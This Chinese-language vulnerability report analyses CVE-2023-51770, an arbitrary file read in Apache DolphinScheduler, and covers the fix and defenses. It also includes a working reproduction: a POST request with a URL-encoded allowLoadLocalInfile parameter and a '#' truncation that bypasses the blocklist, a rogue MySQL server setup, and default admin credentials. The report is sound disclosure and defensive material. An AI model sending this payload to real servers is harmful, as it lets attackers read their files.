Arbitrary File Read Vulnerability in Apache Dolphinscheduler(CVE-2023-51770)
字数 1830 2025-08-23 18:31:18

Apache DolphinScheduler 任意文件读取漏洞(CVE-2023-51770)分析报告

漏洞概述

Apache DolphinScheduler 是一个分布式易扩展的可视化DAG工作流任务调度系统。在3.2.1之前的版本中存在一个任意文件读取漏洞(CVE-2023-51770),攻击者可以通过构造特殊的JDBC连接参数绕过安全限制,利用MySQL的allowLoadLocalInfile功能读取服务器上的任意文件。

受影响版本

  • Apache DolphinScheduler 版本 < 3.2.1

漏洞原理分析

漏洞位置

漏洞存在于MySQL数据源处理模块中,具体位置:
org.apache.dolphinscheduler.plugin.datasource.mysql.param.MySQLDataSourceProcessor#getConnection

漏洞机制

  1. 原始安全机制

    • 系统通过MySQLDataSourceProcessor#getJdbcUrl函数生成JDBC连接URL
    • 存在两层过滤机制:
      • 第一层:键名过滤(黑名单检查)
      • 第二层:危险参数覆盖(通过追加安全参数)
  2. 黑名单过滤

    • 检查other参数中的键名是否在黑名单中
    • 黑名单包含危险参数如:allowLoadLocalInfile, autoDeserialize
    • 使用contains方法进行判断
  3. 参数覆盖机制

    • 在JDBC URL末尾追加安全参数:
      private static final String APPEND_PARAMS = "allowLoadLocalInfile=false&autoDeserialize=false&allowLocalInfile=false&allowUrlInLocalInfile=false";
      

绕过技术

攻击者可以通过以下方式绕过安全限制:

  1. URL编码绕过黑名单检查

    • 将危险参数名进行URL编码,如allowLoadLocalInfile编码为%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65
    • 由于黑名单检查使用contains方法,无法识别编码后的参数名
  2. 注释符截断绕过参数覆盖

    • 使用#符号截断后续追加的安全参数
    • 构造如allowLoadLocalInfile=true#的参数
    • JDBC会将#后的内容视为注释,使追加的安全参数失效

环境搭建

  1. 下载受影响版本的Apache DolphinScheduler:

    tar -xvzf apache-dolphinscheduler-*-bin.tar.gz
    cd apache-dolphinscheduler-*-bin
    
  2. 修改JVM配置(可选):

    • 编辑standalone-server/bin/start.sh
  3. 启动服务:

    bash ./bin/dolphinscheduler-daemon.sh start standalone-server
    
  4. 访问Web界面:

    • URL: http://localhost:12345/dolphinscheduler/ui
    • 默认凭证: admin/dolphinscheduler123

漏洞复现

攻击步骤

  1. 构造恶意请求:

    POST /dolphinscheduler/datasources/connect HTTP/1.1
    Host: 172.18.178.167:12345
    Content-Length: 407
    Content-Type: application/json;charset=UTF-8
    
    {
      "type":"MYSQL",
      "label":"MYSQL",
      "name":"t2",
      "note":"",
      "host":"172.18.176.1",
      "port":3308,
      "principal":"",
      "userName":"c",
      "password":"",
      "database":"d",
      "other":{
        "%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=%74%72%75%65#":"a"
      }
    }
    
  2. 搭建恶意MySQL服务器:

    • 配置服务器响应包含LOCAL INFILE指令
    • 当DolphinScheduler连接时,会发送请求的文件内容
  3. 结果:

    • 恶意MySQL服务器可以读取DolphinScheduler服务器上的任意文件

技术细节

  • 编码后的参数%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c解码为allowLoadLocalInfile
  • #符号截断了后续追加的安全参数
  • 最终有效的JDBC URL包含:
    jdbc:mysql://172.18.176.1:3308/d?allowLoadLocalInfile=true
    

漏洞修复

修复方案

修复补丁位于:
Pull Request #15433

修复要点

  1. 不再直接拼接JDBC URL

    • 改为使用Properties对象初始化连接参数
    • 防止通过注释符截断绕过
  2. 更严格的参数过滤

    • 参数处理不再受URL编码和注释符号影响
    • 确保安全参数始终生效

升级建议

  • 升级到Apache DolphinScheduler 3.2.1或更高版本
  • 如果无法立即升级,可临时禁用MySQL数据源功能

防护措施

  1. 网络层面

    • 限制DolphinScheduler服务器出站连接
    • 仅允许连接可信的数据库服务器
  2. 系统层面

    • 使用最小权限原则运行DolphinScheduler
    • 定期审计服务器文件权限
  3. 监控层面

    • 监控异常的数据源连接请求
    • 记录详细的连接日志

总结

CVE-2023-51770漏洞展示了即使有多层安全机制,如果实现不当仍可能被绕过。此漏洞的利用需要结合JDBC协议特性和URL处理机制,强调了安全开发中边界条件测试的重要性。修复方案通过改变参数处理方式从根本上解决了问题,而不仅仅是增加更多的过滤规则。

Apache DolphinScheduler 任意文件读取漏洞(CVE-2023-51770)分析报告 漏洞概述 Apache DolphinScheduler 是一个分布式易扩展的可视化DAG工作流任务调度系统。在3.2.1之前的版本中存在一个任意文件读取漏洞(CVE-2023-51770),攻击者可以通过构造特殊的JDBC连接参数绕过安全限制,利用MySQL的 allowLoadLocalInfile 功能读取服务器上的任意文件。 受影响版本 Apache DolphinScheduler 版本 < 3.2.1 漏洞原理分析 漏洞位置 漏洞存在于MySQL数据源处理模块中,具体位置: org.apache.dolphinscheduler.plugin.datasource.mysql.param.MySQLDataSourceProcessor#getConnection 漏洞机制 原始安全机制 : 系统通过 MySQLDataSourceProcessor#getJdbcUrl 函数生成JDBC连接URL 存在两层过滤机制: 第一层:键名过滤(黑名单检查) 第二层:危险参数覆盖(通过追加安全参数) 黑名单过滤 : 检查 other 参数中的键名是否在黑名单中 黑名单包含危险参数如: allowLoadLocalInfile , autoDeserialize 等 使用 contains 方法进行判断 参数覆盖机制 : 在JDBC URL末尾追加安全参数: 绕过技术 攻击者可以通过以下方式绕过安全限制: URL编码绕过黑名单检查 : 将危险参数名进行URL编码,如 allowLoadLocalInfile 编码为 %61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65 由于黑名单检查使用 contains 方法,无法识别编码后的参数名 注释符截断绕过参数覆盖 : 使用 # 符号截断后续追加的安全参数 构造如 allowLoadLocalInfile=true# 的参数 JDBC会将 # 后的内容视为注释,使追加的安全参数失效 环境搭建 下载受影响版本的Apache DolphinScheduler: 修改JVM配置(可选): 编辑 standalone-server/bin/start.sh 启动服务: 访问Web界面: URL: http://localhost:12345/dolphinscheduler/ui 默认凭证: admin/dolphinscheduler123 漏洞复现 攻击步骤 构造恶意请求: 搭建恶意MySQL服务器: 配置服务器响应包含 LOCAL INFILE 指令 当DolphinScheduler连接时,会发送请求的文件内容 结果: 恶意MySQL服务器可以读取DolphinScheduler服务器上的任意文件 技术细节 编码后的参数 %61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c 解码为 allowLoadLocalInfile # 符号截断了后续追加的安全参数 最终有效的JDBC URL包含: 漏洞修复 修复方案 修复补丁位于: Pull Request #15433 修复要点 不再直接拼接JDBC URL : 改为使用 Properties 对象初始化连接参数 防止通过注释符截断绕过 更严格的参数过滤 : 参数处理不再受URL编码和注释符号影响 确保安全参数始终生效 升级建议 升级到Apache DolphinScheduler 3.2.1或更高版本 如果无法立即升级,可临时禁用MySQL数据源功能 防护措施 网络层面 : 限制DolphinScheduler服务器出站连接 仅允许连接可信的数据库服务器 系统层面 : 使用最小权限原则运行DolphinScheduler 定期审计服务器文件权限 监控层面 : 监控异常的数据源连接请求 记录详细的连接日志 总结 CVE-2023-51770漏洞展示了即使有多层安全机制,如果实现不当仍可能被绕过。此漏洞的利用需要结合JDBC协议特性和URL处理机制,强调了安全开发中边界条件测试的重要性。修复方案通过改变参数处理方式从根本上解决了问题,而不仅仅是增加更多的过滤规则。